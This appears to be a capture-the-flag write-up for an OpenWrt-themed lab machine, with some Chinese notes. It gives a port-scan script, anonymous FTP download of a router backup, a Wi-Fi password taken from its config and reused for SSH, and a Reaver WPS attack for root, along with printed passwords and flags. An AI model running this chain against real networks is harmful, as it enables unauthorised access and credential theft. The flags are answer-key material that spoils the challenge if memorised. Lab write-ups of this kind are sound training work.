Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.11.247 | TCP:21,22,53 |
$ ip='10.10.11.247'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.28
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 4434 Jul 31 2023 MigrateOpenWrt.txt
| -rw-r--r-- 1 ftp ftp 2501210 Jul 31 2023 ProjectGreatMigration.pdf
| -rw-r--r-- 1 ftp ftp 60857 Jul 31 2023 ProjectOpenWRT.pdf
| -rw-r--r-- 1 ftp ftp 40960 Sep 11 2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r-- 1 ftp ftp 52946 Jul 31 2023 employees_wellness.pdf
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
53/tcp open tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP
$ ftp 10.10.11.247
$ wget -r ftp://anonymous:anonymous@10.10.11.247
$ tar -xvf backup-OpenWrt-2023-07-26.tar
$ cat ./etc/config/wireless
VeRyUniUqWiFIPasswrd1!
$ ssh netadmin@10.10.11.247
User.txt
df32978a2541a4cb8a03ccc0fb8794ae
Privilege Escalation: Reaver tool exploits WPS PIN vulnerability to retrieve the AP’s WPA/WPA2 passphrase
- wlan0：此接口被归类为 AP（接入点），并与代表物理无线设备的 phy0 相关联。正如预期的那样，这证实了 wlan0 确实是 OpenWRT 设置中的接入点。
- wlan1：此接口被归类为托管，并且具有 P2P 设备的非 net-dev 接口类型。托管模式表示 wlan1 用作常规 Wi-Fi 客户端，而 P2P 设备类型表明它可能支持 Wi-Fi Direct 或点对点通信。
- phy2、wlan2 和 mon0：这些接口与代表单独物理无线设备的 phy2 链接。wlan2 被归类为托管接口，而 mon0 设置为监控模式。 phy2 上同时存在 wlan2 和 mon0，表明它们是同一张无线网卡的一部分。
递归查找系统中所有具有特殊能力 (capabilities) 的文件
$ getcap -r / 2>/dev/null
/usr/bin/reaver允许以ROOT权限执行
$ reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1
WhatIsRealAnDWhAtIsNot51121!
Root.txt
3b787489a71d0e403687793940da1e1b